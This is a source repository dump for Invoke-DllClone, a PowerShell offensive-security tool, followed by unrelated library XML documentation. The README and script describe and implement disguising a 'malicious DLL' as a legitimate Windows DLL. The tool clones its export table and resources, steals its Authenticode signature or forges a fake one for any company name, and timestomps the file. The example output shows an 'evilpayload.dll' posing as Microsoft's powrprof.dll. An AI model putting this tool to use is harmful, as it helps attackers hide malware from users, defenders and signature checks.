├── src ├── Koppeling │ ├── PeNet.dll │ ├── NetClone.exe │ ├── NetClone.pdb │ ├── CommandLine.dll │ ├── PeNet.Asn1.dll │ ├── Validation.dll │ ├── xunit.core.dll │ ├── Xunit.SkippableFact.dll │ ├── xunit.abstractions.dll │ ├── xunit.execution.desktop.dll │ ├── System.Security.Cryptography.Pkcs.dll │ ├── NetClone.exe.config │ ├── Xunit.SkippableFact.xml │ ├── Validation.xml │ ├── xunit.abstractions.xml │ └── xunit.core.xml ├── LazySign │ ├── makecert.exe │ ├── pvk2pfx.exe │ └── signtool.exe ├── SigThief │ └── sigthief.exe ├── rh_base_script.txt └── Resource_Hacker │ └── ResourceHacker.exe ├── LICENSE ├── README.md └── Invoke-DllClone.ps1 /src/Koppeling/PeNet.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/PeNet.dll -------------------------------------------------------------------------------- /src/LazySign/makecert.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/LazySign/makecert.exe -------------------------------------------------------------------------------- /src/LazySign/pvk2pfx.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/LazySign/pvk2pfx.exe -------------------------------------------------------------------------------- /src/LazySign/signtool.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/LazySign/signtool.exe -------------------------------------------------------------------------------- /src/SigThief/sigthief.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/SigThief/sigthief.exe -------------------------------------------------------------------------------- /src/Koppeling/NetClone.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/NetClone.exe -------------------------------------------------------------------------------- /src/Koppeling/NetClone.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/NetClone.pdb -------------------------------------------------------------------------------- /src/Koppeling/CommandLine.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/CommandLine.dll -------------------------------------------------------------------------------- /src/Koppeling/PeNet.Asn1.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/PeNet.Asn1.dll -------------------------------------------------------------------------------- /src/Koppeling/Validation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/Validation.dll -------------------------------------------------------------------------------- /src/Koppeling/xunit.core.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/xunit.core.dll -------------------------------------------------------------------------------- /src/rh_base_script.txt: -------------------------------------------------------------------------------- 1 | [FILENAMES] 2 | Exe= AAA 3 | SaveAs= BBB 4 | Log= CCC 5 | [COMMANDS] 6 | -addoverwrite DDD ,,, -------------------------------------------------------------------------------- /src/Koppeling/Xunit.SkippableFact.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/Xunit.SkippableFact.dll -------------------------------------------------------------------------------- /src/Koppeling/xunit.abstractions.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/xunit.abstractions.dll -------------------------------------------------------------------------------- /src/Resource_Hacker/ResourceHacker.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Resource_Hacker/ResourceHacker.exe -------------------------------------------------------------------------------- /src/Koppeling/xunit.execution.desktop.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/xunit.execution.desktop.dll -------------------------------------------------------------------------------- /src/Koppeling/System.Security.Cryptography.Pkcs.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jfmaes/Invoke-DLLClone/HEAD/src/Koppeling/System.Security.Cryptography.Pkcs.dll -------------------------------------------------------------------------------- /src/Koppeling/NetClone.exe.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2021, Jean-François Maes 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Invoke-DLLClone 2 | Koppeling x Metatwin x LazySign 3 | 4 | Invoke-DllClone combines two projects called Koppeling and Invoke-MetaTwin. 5 | Invoke-DllClone can copy metadata and the AuthenticodeSignature from a source binary and into a target binary 6 | It also uses koppeling to clone the export table from a refference dll onto a malicious DLL post-build using NetClone 7 | Finally, it also supports random fake signatures using LazySign logic. 8 | 9 | 10 | All Credits go to: 11 | * Joe Vest (vestjoe) 12 | * Nick Landers (monoxgas) 13 | 14 | And the makers of SigThief 15 | 16 | All I did was adapt metatwin to facilitate koppeling :) 17 | 18 | Feel free to place the dependencies in src yourself if you do not trust me. 19 | Dependencies are: 20 | * NetClone 21 | * Resource Hacker 22 | * SigThief (optional) 23 | * makecert.exe (optional) 24 | * pvk2pfx.exe (optional) 25 | * signtool.exe (optional) 26 | 27 | **Make Sure you CD into the Invoke-DllClone directory first, the script uses relative paths** 28 | 29 | ``` 30 | Forward all exports of powrprof and take over the metadata except the signature 31 | Example Usage: Invoke-DllClone -Source C:\Windows\System32\powrprof.dll -Target C:\Malware\Evilpayload.dll -Output C:\Malware\powrprof.dll 32 | 33 | Forward all exports of powrprof and take over the metadata including the signature (will obviously no longer be valid) 34 | Example Usage: Invoke-DllClone -Source C:\Windows\System32\powrprof.dll -Target C:\Malware\Evilpayload.dll -Output C:\Malware\powrprof.dll -Sign 35 | 36 | Forward all exports of powrprof and take over the metadata fake a random signature (will obviously not be valid) 37 | Example Usage: Invoke-DllClone -Source C:\Windows\System32\powrprof.dll -Target C:\Malware\Evilpayload.dll -Output C:\Malware\powrprof.dll -FakeSign -FakeCompany lolcorp.evil 38 | 39 | ``` 40 | 41 | 42 | ``` 43 | Example output: 44 | PS G:\testzone\Invoke-DLLClone> Invoke-DllClone -Source C:\Windows\System32\powrprof.dll -Target .\evilpayload.dll -Output powrprof.dll -Sign 45 | Source: C:\Windows\System32\powrprof.dll 46 | Target: .\evilpayload.dll 47 | Output: .\2021-08-24_204139\powrprof.dll 48 | Signed Output: .\2021-08-24_204139\signed_powrprof.dll 49 | ---------------------------------------------- 50 | [*] Clones the export table from C:\Windows\System32\powrprof.dll onto .\evilpayload.dll... using NetClone 51 | [+] Done. 52 | [*] Extracting resources from powrprof.dll 53 | [*] Copying resources from powrprof.dll to .\2021-08-24_204139\powrprof.dll 54 | [*] Extracting and adding signature ... 55 | 56 | [+] Results 57 | ----------------------------------------------- 58 | [+] Metadata 59 | 60 | 61 | VersionInfo : File: G:\testzone\Invoke-DLLClone\2021-08-24_204139\signed_powrprof.dll 62 | InternalName: POWRPROF 63 | OriginalFilename: POWRPROF.DLL 64 | FileVersion: 10.0.19041.546 (WinBuild.160101.0800) 65 | FileDescription: Power Profile Helper DLL 66 | Product: Microsoft® Windows® Operating System 67 | ProductVersion: 10.0.19041.546 68 | Debug: False 69 | Patched: False 70 | PreRelease: False 71 | PrivateBuild: False 72 | SpecialBuild: False 73 | Language: English (United States) 74 | 75 | 76 | 77 | 78 | [+] Digital Signature 79 | 80 | 81 | SignatureType : Authenticode 82 | SignerCertificate : [Subject] 83 | CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US 84 | 85 | [Issuer] 86 | CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US 87 | 88 | [Serial Number] 89 | 330000026551AE1BBD005CBFBD000000000265 90 | 91 | [Not Before] 92 | 3/4/2020 7:30:38 PM 93 | 94 | [Not After] 95 | 3/3/2021 7:30:38 PM 96 | 97 | [Thumbprint] 98 | E168609353F30FF2373157B4EB8CD519D07A2BFF 99 | 100 | Status : HashMismatch 101 | 102 | 103 | 104 | PS G:\testzone\Invoke-DLLClone> 105 | 106 | 107 | 108 | ``` 109 | -------------------------------------------------------------------------------- /Invoke-DllClone.ps1: -------------------------------------------------------------------------------- 1 | Function Invoke-DllClone { 2 | 3 | <# 4 | .SYNOPSIS 5 | 6 | Invoke-DllClone combines two projects called Koppeling and Invoke-MetaTwin. 7 | Invoke-DllClone can copy metadata and the AuthenticodeSignature from a source binary and into a target binary 8 | It also uses koppeling to clone the export table from a refference dll onto a malicious DLL post-build using NetClone 9 | Finally, it also supports random fake signatures using LazySign logic. 10 | 11 | Function: Invoke-DllClone 12 | Author: Jean-Francois Maes (@jfmaes), Joe Vest, monoxgas 13 | License: BSD 3-Clause 14 | Required Dependencies: ResourceHacker.exe, NetClone.exe 15 | Optional Dependencies: SigThief,makecert.exe,pvk2pfx.exe,signtool.exe 16 | 17 | .DESCRIPTION 18 | Invoke-DllClone combines two projects called Koppeling and Invoke-MetaTwin. 19 | Invoke-DllClone can copy metadata and the AuthenticodeSignature from a source binary and into a target binary 20 | It also uses koppeling to clone the export table from a refference dll onto a malicious DLL post-build using NetClone 21 | Finally, it also supports random fake signatures using LazySign logic. 22 | Note: SigThief and Resource Hacker may not detect valid metadata or digital signature. This project may switch to a different tool set, but for now, be aware of potential limitations. 23 | Note2: Feel free to compile koppeling yourself and put it in the src directory, same goes with Resoure Hacker and SigThief and the other dependencies really. 24 | 25 | .LINK 26 | https://github.com/monoxgas/Koppeling 27 | https://github.com/threatexpress/metatwin 28 | 29 | 30 | .PARAMETER Source 31 | Path to source binary (where you want to copy the resources from) 32 | 33 | .PARAMETER Target 34 | Path to target binary (where you want the resources copied to) 35 | 36 | .PARAMETER Sign 37 | Switch to perform AuthenticodeSignature copying via SigThief 38 | 39 | #> 40 | 41 | Param ( 42 | [ValidateScript({Test-Path $_ })] 43 | [Parameter(Mandatory=$true, 44 | HelpMessage='Source binary')] 45 | $Source = '', 46 | 47 | [ValidateScript({Test-Path $_ })] 48 | [Parameter(Mandatory=$true, 49 | HelpMessage='Target binary')] 50 | $Target = '', 51 | 52 | [Parameter(Mandatory=$false, 53 | HelpMessage='output binary')] 54 | $Output = '', 55 | 56 | [Parameter(Mandatory=$false, 57 | HelpMessage='Include digital signature')] 58 | [Switch]$Sign, 59 | 60 | [Parameter(Mandatory=$false, 61 | HelpMessage='Use LazySign to create a new fake sig')] 62 | [Switch]$FakeSign, 63 | 64 | [Parameter(Mandatory=$false, 65 | HelpMessage='Use LazySign to create a new fake sig')] 66 | $FakeCompany = '' 67 | 68 | ) 69 | 70 | Set-StrictMode -Version 2 71 | # Binaries 72 | $resourceHackerBin = ".\src\Resource_Hacker\ResourceHacker.exe" 73 | $resourceHacker_base_script = ".\src\rh_base_script.txt" 74 | $sigthiefBin = ".\src\SigThief\sigthief.exe" 75 | $netcloneBin = ".\src\Koppeling\NetClone.exe" 76 | $makecertBin = ".\src\LazySign\makecert.exe" 77 | $pvk2pfxBin = ".\src\LazySign\pvk2pfx.exe" 78 | $signtoolBin = ".\src\LazySign\signtool.exe" 79 | 80 | 81 | If ((Test-Path $resourceHackerBin) -ne $True) 82 | { 83 | Write-Output "[!] Missing Dependency: $resourceHackerBin" 84 | Write-Output "[!] Ensure you're running Invoke-DllClone from its local directory. Exiting" 85 | break 86 | } 87 | 88 | If ((Test-Path $sigthiefBin) -ne $True) 89 | { 90 | Write-Output "[!] Missing Dependency: $sigthiefBin" 91 | Write-Output "[!] Ensure you're running Invoke-DllClone from its local directory. Exiting." 92 | break 93 | } 94 | 95 | 96 | If ((Test-Path $netcloneBin) -ne $True) 97 | { 98 | Write-Output "[!] Missing Dependency: $netcloneBin" 99 | Write-Output "[!] Ensure you're running Invoke-DllClone from its local directory. Exiting." 100 | break 101 | } 102 | 103 | 104 | if($FakeSign){ 105 | If ((Test-Path $makecertBin) -ne $True) 106 | { 107 | Write-Output "[!] Missing Dependency: $makecertBin" 108 | Write-Output "[!] Ensure you're running Invoke-DllClone from its local directory. Exiting." 109 | break 110 | } 111 | 112 | If ((Test-Path $pvk2pfxBin) -ne $True) 113 | { 114 | Write-Output "[!] Missing Dependency: $pvk2pfxBin" 115 | Write-Output "[!] Ensure you're running Invoke-DllClone from its local directory. Exiting." 116 | break 117 | } 118 | 119 | If ((Test-Path $signtoolBin) -ne $True) 120 | { 121 | Write-Output "[!] Missing Dependency: $signtoolBin" 122 | Write-Output "[!] Ensure you're running Invoke-DllClone from its local directory. Exiting." 123 | break 124 | } 125 | 126 | } 127 | 128 | # Basic file timestomping, maybe redundant since it will also need to be performed on target 129 | Function Invoke-TimeStomp ($source, $dest) { 130 | $source_attributes = Get-Item $source 131 | $dest_attributes = Get-Item $dest 132 | $dest_attributes.CreationTime = $source_attributes.CreationTime 133 | $dest_attributes.LastAccessTime = $source_attributes.LastAccessTime 134 | $dest_attributes.LastWriteTime = $source_attributes.LastWriteTime 135 | } 136 | 137 | 138 | $timestamp = Get-Date -f yyyy-MM-dd_HHmmss 139 | $log_file_base = (".\" + $timestamp) 140 | $source_binary_filename = Split-Path $Source -Leaf -Resolve 141 | $source_binary_filepath = $Source 142 | $target_binary_filename = Split-Path $Target -Leaf -Resolve 143 | $target_binary_filepath = $Target 144 | $source_resource = (".\" + $timestamp + "\" + $source_binary_filename + ".res") 145 | 146 | 147 | if(-Not $Output){ 148 | $target_saveas = (".\" + $timestamp + "\"+ $target_binary_filename) 149 | $target_saveas_signed = (".\" + $timestamp + "\" + "signed_" + $target_binary_filename) 150 | } 151 | else{ 152 | $target_saveas = (".\" + $timestamp + "\" + $Output) 153 | $target_saveas_signed = (".\" + $timestamp + "\" +"signed_" + $Output) 154 | } 155 | 156 | 157 | 158 | 159 | $resourcehacker_script = (".\"+ $timestamp + "_rh_script.txt") 160 | 161 | New-Item ".\$timestamp" -type directory | out-null 162 | Write-Output "Source: $source_binary_filepath" 163 | Write-Output "Target: $target_binary_filepath" 164 | Write-Output "Output: $target_saveas" 165 | Write-Output "Signed Output: $target_saveas_signed" 166 | Write-Output "---------------------------------------------- " 167 | 168 | # Clean up existing ResourceHacker.exe that may be running 169 | Stop-Process -Name ResourceHacker -ea "SilentlyContinue" 170 | # Extract resources using Resource Hacker from source 171 | Write-Output "[*] Extracting resources from $source_binary_filename " 172 | $log_file = ($log_file_base + "\"+ $timestamp+"_extract.log") 173 | $arg = "-open $source_binary_filepath -action extract -mask ,,, -save $source_resource -log $log_file" 174 | start-process -FilePath $resourceHackerBin -ArgumentList $arg -NoNewWindow -Wait 175 | 176 | # Check if extract was successful 177 | if (Select-String -Encoding Unicode -path $log_file -pattern "Failed") { 178 | Write-Output "[!] Failed to extract Metadata from $source_binary_filepath" 179 | Write-Output " Perhaps, try a differenct source file. Exiting..." 180 | break 181 | } 182 | 183 | # Build Resource Hacker Script 184 | $log_file = ($log_file_base + "\"+ $timestamp+ "_add.log") 185 | (Get-Content $resourcehacker_base_script) -replace('AAA', $target) | Set-Content $resourcehacker_script 186 | (Get-Content $resourcehacker_script) -replace('BBB', $target_saveas) | Set-Content $resourcehacker_script 187 | (Get-Content $resourcehacker_script) -replace('CCC', $log_file) | Set-Content $resourcehacker_script 188 | (Get-Content $resourcehacker_script) -replace('DDD', $source_resource) | Set-Content $resourcehacker_script 189 | 190 | # Copy resources using Resource Hacker 191 | "[*] Copying resources from $source_binary_filename to $target_saveas" 192 | 193 | $arg = "-script $resourcehacker_script" 194 | start-process -FilePath $resourceHackerBin -ArgumentList $arg -NoNewWindow -Wait 195 | Remove-Item $resourcehacker_script 196 | 197 | # start the export table cloning using koppeling 198 | Write-Output "[*] Clones the export table from $source onto $target_saveas... using NetClone " 199 | $arg = "--target $target_saveas --reference $source --output $target_saveas" 200 | Start-Process -FilePath $netcloneBin -ArgumentList $arg -Wait 201 | Start-Sleep 1 202 | 203 | 204 | if ($Sign) { 205 | 206 | # Copy signature from source and add to target 207 | "[*] Extracting and adding signature ..." 208 | $arg = "-i $source_binary_filepath -t $target_saveas -o $target_saveas_signed" 209 | $proc = start-process -FilePath $sigthiefBin -ArgumentList $arg -Wait -PassThru 210 | #$proc | Select * |Format-List 211 | #$proc.ExitCode 212 | if ($proc.ExitCode -ne 0) { 213 | Write-Output "[-] Cannot extract signature, skipping ..." 214 | $Sign = $False 215 | } 216 | } 217 | 218 | # Display Results 219 | Start-Sleep .5 220 | Write-Output "`n[+] Results" 221 | Write-Output " -----------------------------------------------" 222 | 223 | 224 | if ($Sign) { 225 | 226 | Write-Output "[+] Metadata" 227 | Get-Item $target_saveas_signed | Select VersionInfo | Format-List 228 | 229 | Write-Output "[+] Digital Signature" 230 | Get-AuthenticodeSignature (gi $target_saveas_signed) | select SignatureType,SignerCertificate,Status | fl 231 | Invoke-TimeStomp $source_binary_filepath $target_saveas_signed 232 | } 233 | 234 | elseif($FakeSign) { 235 | Write-Output "[+] Starting LazySign..." 236 | if(-Not $FakeCompany) 237 | { 238 | $FakeCompany = Read-Host -Prompt "Please Type in a company name you would like to fake a signature for" 239 | } 240 | else 241 | { 242 | Write-Output "using " + $FakeCompany + " to fake a signature..." 243 | } 244 | $arg = "-len 2048 " + $FakeCompany+".cer " + "-n ""CN="""+$FakeCompany + " -r -sv " + $FakeCompany+".pvk" 245 | Start-Process -FilePath $makecertBin -Wait -NoNewWindow -ArgumentList $arg 246 | 247 | $arg = "-pvk " + $FakeCompany +".pvk" + " -spc " + $FakeCompany+".cer" +" -pfx " + $FakeCompany+".pfx" 248 | Start-Process -FilePath $pvk2pfxBin -Wait -NoNewWindow -ArgumentList $arg 249 | 250 | $arg = "sign /f " + ".\"+$FakeCompany+".pfx /t http://timestamp.comodoca.com/authenticode " + $target_saveas 251 | Start-Process -FilePath $signtoolBin -wait -NoNewWindow -ArgumentList $arg 252 | Move-item $target_saveas $target_saveas_signed 253 | 254 | Remove-Item $FakeCompany".pfx" 255 | Remove-Item $FakeCompany".cer" 256 | Remove-Item $FakeCompany".pvk" 257 | 258 | Write-Output "[+] Metadata" 259 | Get-Item $target_saveas_signed | Select VersionInfo | Format-List 260 | Write-Output "[+] Digital Signature" 261 | Get-AuthenticodeSignature (gi $target_saveas_signed) | select SignatureType,SignerCertificate | fl 262 | Invoke-TimeStomp $source_binary_filepath $target_saveas_signed 263 | } 264 | 265 | 266 | else { 267 | Write-Output "[+] Metadata" 268 | Get-Item $target_saveas | Select VersionInfo | Format-List 269 | Write-Output "[+] Digital Signature" 270 | Write-Output " Signature not added ... " 271 | Invoke-TimeStomp $source_binary_filepath $target_saveas 272 | } 273 | 274 | } -------------------------------------------------------------------------------- /src/Koppeling/Xunit.SkippableFact.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Xunit.SkippableFact 5 | 6 | 7 | 8 | 9 | Transforms test methods into test cases. 10 | 11 | 12 | 13 | 14 | The diagnostic message sink provided to the constructor. 15 | 16 | 17 | 18 | 19 | Initializes a new instance of the class. 20 | 21 | The message sink used to send diagnostic messages 22 | 23 | 24 | 25 | 26 | 27 | 28 | A test case that interprets as a result. 29 | 30 | 31 | 32 | 33 | Initializes a new instance of the class, 34 | to be called only by the deserializer. 35 | 36 | 37 | 38 | 39 | Initializes a new instance of the class. 40 | 41 | An array of the full names of the exception types which should be interpreted as a skipped test-. 42 | The diagnostic message sink. 43 | The preferred test name derivation. 44 | The test method. 45 | The test method arguments. 46 | 47 | 48 | 49 | 50 | 51 | 52 | Intercepts test results on the message bus and re-interprets 53 | as a result. 54 | 55 | 56 | 57 | 58 | The original message bus to which all messages should be forwarded. 59 | 60 | 61 | 62 | 63 | Initializes a new instance of the class. 64 | 65 | The original message bus to which all messages should be forwarded. 66 | An array of the full names of the exception types which should be interpreted as a skipped test-. 67 | 68 | 69 | 70 | Gets the number of tests that have been dynamically skipped. 71 | 72 | 73 | 74 | 75 | Disposes the inner message bus. 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | Transforms test theories into test cases. 84 | 85 | 86 | 87 | 88 | The diagnostic message sink provided to the constructor. 89 | 90 | 91 | 92 | 93 | The complex theory discovery process that we wrap. 94 | 95 | 96 | 97 | 98 | Initializes a new instance of the class. 99 | 100 | The message sink used to send diagnostic messages 101 | 102 | 103 | 104 | 105 | 106 | 107 | A theory test case that will wrap the message bus. 108 | 109 | 110 | 111 | 112 | Initializes a new instance of the class, 113 | to be called only by the deserializer. 114 | 115 | 116 | 117 | 118 | Initializes a new instance of the class. 119 | 120 | An array of the full names of the exception types which should be interpreted as a skipped test-. 121 | The diagnostic message sink. 122 | The preferred test name derivation. 123 | The test method. 124 | 125 | 126 | 127 | 128 | 129 | 130 | Static methods for dynamically skipping tests identified with 131 | the . 132 | 133 | 134 | 135 | 136 | Throws an exception that results in a "Skipped" result for the test. 137 | 138 | The condition that must evaluate to true for the test to be skipped. 139 | The explanation for why the test is skipped. 140 | 141 | 142 | 143 | Throws an exception that results in a "Skipped" result for the test. 144 | 145 | The condition that must evaluate to false for the test to be skipped. 146 | The explanation for why the test is skipped. 147 | 148 | 149 | 150 | The exception to throw to register a skipped test. 151 | 152 | 153 | 154 | 155 | Initializes a new instance of the class. 156 | 157 | The reason the test is skipped. 158 | 159 | 160 | 161 | Attribute that is applied to a method to indicate that it is a fact that should 162 | be run by the test runner. 163 | The test may produce a "skipped test" result by calling 164 | or otherwise throwing a . 165 | 166 | 167 | 168 | 169 | Initializes a new instance of the class. 170 | 171 | 172 | Exception types that, if thrown, should cause the test to register as skipped. 173 | 174 | 175 | 176 | 177 | Marks a test method as being a data theory. Data theories are tests which are 178 | fed various bits of data from a data source, mapping to parameters on the test 179 | method. If the data source contains multiple rows, then the test method is executed 180 | multiple times (once with each data row). Data is provided by attributes which 181 | derive from Xunit.Sdk.DataAttribute (notably, Xunit.InlineDataAttribute and Xunit.MemberDataAttribute). 182 | The test may produce a "skipped test" result by calling 183 | or otherwise throwing a . 184 | 185 | 186 | 187 | 188 | Initializes a new instance of the class. 189 | 190 | 191 | Exception types that, if thrown, should cause the test to register as skipped. 192 | 193 | 194 | 195 | 196 | -------------------------------------------------------------------------------- /src/Koppeling/Validation.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Validation 5 | 6 | 7 | 8 | 9 | Common runtime checks that throw public error exceptions upon failure. 10 | 11 | 12 | Contains the inner exception thrown by Assumes. 13 | 14 | 15 | 16 | 17 | Throws an exception if the specified value is null. 18 | 19 | The type of value to test. 20 | The value. 21 | 22 | 23 | 24 | Throws an exception if the specified value is null or empty. 25 | 26 | The value. 27 | 28 | 29 | 30 | Throws an exception if the specified value is null or empty. 31 | 32 | The type of value to test. 33 | 34 | 35 | 36 | Throws an exception if the specified value is null or empty. 37 | 38 | The type of value to test. 39 | The values. 40 | 41 | 42 | 43 | Throws an exception if the specified value is not null. 44 | 45 | The type of value to test. 46 | The value. 47 | 48 | 49 | 50 | Throws an exception if the specified object is not of a given type. 51 | 52 | The type the value is expected to be. 53 | The value to test. 54 | 55 | 56 | 57 | Throws an public exception if a condition evaluates to true. 58 | 59 | 60 | 61 | 62 | Throws an public exception if a condition evaluates to true. 63 | 64 | 65 | 66 | 67 | Throws an public exception if a condition evaluates to true. 68 | 69 | 70 | 71 | 72 | Throws an public exception if a condition evaluates to false. 73 | 74 | 75 | 76 | 77 | Throws an public exception if a condition evaluates to false. 78 | 79 | 80 | 81 | 82 | Throws an public exception if a condition evaluates to false. 83 | 84 | 85 | 86 | 87 | Throws an public exception. 88 | 89 | Nothing. This method always throws. But the signature allows calling code to "throw" this method for C# syntax reasons. 90 | 91 | 92 | 93 | Verifies that a value is not null, and throws an exception about a missing service otherwise. 94 | 95 | The interface of the imported part. 96 | 97 | 98 | 99 | Throws an public exception. 100 | 101 | Nothing, as this method always throws. The signature allows for "throwing" Fail so C# knows execution will stop. 102 | 103 | 104 | 105 | Throws an public exception. 106 | 107 | Nothing, as this method always throws. The signature allows for "throwing" Fail so C# knows execution will stop. 108 | 109 | 110 | 111 | Helper method that formats string arguments. 112 | 113 | The formatted strings. 114 | 115 | 116 | 117 | The exception that is thrown when an internal assumption failed. 118 | 119 | 120 | 121 | 122 | Initializes a new instance of the class. 123 | 124 | 125 | 126 | 127 | Initializes a new instance of the class. 128 | 129 | 130 | 131 | 132 | Show the assert if showAssert==true. 133 | 134 | Whether to show the assert. 135 | 136 | The assertion dialog may yet be suppressed if 137 | ((DefaultTraceListener)System.Diagnostics.Trace.Listeners["Default"]).AssertUiEnabled == false 138 | 139 | 140 | 141 | 142 | A disposable object that also provides a safe way to query its disposed status. 143 | 144 | 145 | 146 | 147 | Gets a value indicating whether this instance has been disposed. 148 | 149 | true if this instance has been disposed. 150 | 151 | 152 | 153 | Common utility methods used by the various error detection and reporting classes. 154 | 155 | 156 | 157 | 158 | Trims away a given surrounding type, returning just the generic type argument, 159 | if the given type is in fact a generic type with just one type argument and 160 | the generic type matches a given wrapper type. Otherwise, it returns the original type. 161 | 162 | The type to trim, or return unmodified. 163 | The SomeType<> generic type definition to trim away from if it is present. 164 | , if it is not a generic type instance of ; otherwise the type argument. 165 | 166 | 167 | 168 | Helper method that formats string arguments. 169 | 170 | The unformatted string. 171 | The formatting arguments. 172 | The formatted string. 173 | 174 | 175 | 176 | Common runtime checks that trace messages and invoke an assertion failure, 177 | but does *not* throw exceptions. 178 | 179 | 180 | 181 | 182 | Verifies that a value is not null, and reports an error about a missing MEF component otherwise. 183 | 184 | The interface of the imported part. 185 | 186 | 187 | 188 | Reports an error if a condition evaluates to true. 189 | 190 | if set to true, an error is reported. 191 | The formatted message. 192 | 193 | 194 | 195 | Reports an error if a condition does not evaluate to true. 196 | 197 | if set to false, an error is reported. 198 | The formatted message. 199 | 200 | 201 | 202 | Reports an error if a condition does not evaluate to true. 203 | 204 | if set to false, an error is reported. 205 | The unformatted message. 206 | The only formatting argument. 207 | 208 | 209 | 210 | Reports an error if a condition does not evaluate to true. 211 | 212 | if set to false, an error is reported. 213 | The unformatted message. 214 | The first formatting argument. 215 | The second formatting argument. 216 | 217 | 218 | 219 | Reports an error if a condition does not evaluate to true. 220 | 221 | if set to false, an error is reported. 222 | The unformatted message. 223 | The formatting args. 224 | 225 | 226 | 227 | Reports a certain failure. 228 | 229 | The message. 230 | 231 | 232 | 233 | Reports a certain failure. 234 | 235 | 236 | 237 | 238 | Common runtime checks that throw ArgumentExceptions upon failure. 239 | 240 | 241 | 242 | 243 | Throws an exception if the specified parameter's value is null. 244 | 245 | The type of the parameter. 246 | The value of the argument. 247 | The name of the parameter to include in any thrown exception. 248 | The value of the parameter. 249 | Thrown if is null 250 | 251 | 252 | 253 | Throws an exception if the specified parameter's value is IntPtr.Zero. 254 | 255 | The value of the argument. 256 | The name of the parameter to include in any thrown exception. 257 | The value of the parameter. 258 | Thrown if is IntPtr.Zero 259 | 260 | 261 | 262 | Throws an exception if the specified parameter's value is null. 263 | 264 | The value of the argument. 265 | The name of the parameter to include in any thrown exception. 266 | Thrown if is null 267 | 268 | This method allows async methods to use Requires.NotNull without having to assign the result 269 | to local variables to avoid C# warnings. 270 | 271 | 272 | 273 | 274 | Throws an exception if the specified parameter's value is null. 275 | 276 | The type of the return value of the task. 277 | The value of the argument. 278 | The name of the parameter to include in any thrown exception. 279 | Thrown if is null 280 | 281 | This method allows async methods to use Requires.NotNull without having to assign the result 282 | to local variables to avoid C# warnings. 283 | 284 | 285 | 286 | 287 | Throws an exception if the specified parameter's value is null. 288 | 289 | The type of the parameter. 290 | The value of the argument. 291 | The name of the parameter to include in any thrown exception. 292 | The value of the parameter. 293 | Thrown if is null 294 | 295 | This method exists for callers who themselves only know the type as a generic parameter which 296 | may or may not be a class, but certainly cannot be null. 297 | 298 | 299 | 300 | 301 | Throws an exception if the specified parameter's value is null or empty. 302 | 303 | The value of the argument. 304 | The name of the parameter to include in any thrown exception. 305 | Thrown if is null or empty. 306 | 307 | 308 | 309 | Throws an exception if the specified parameter's 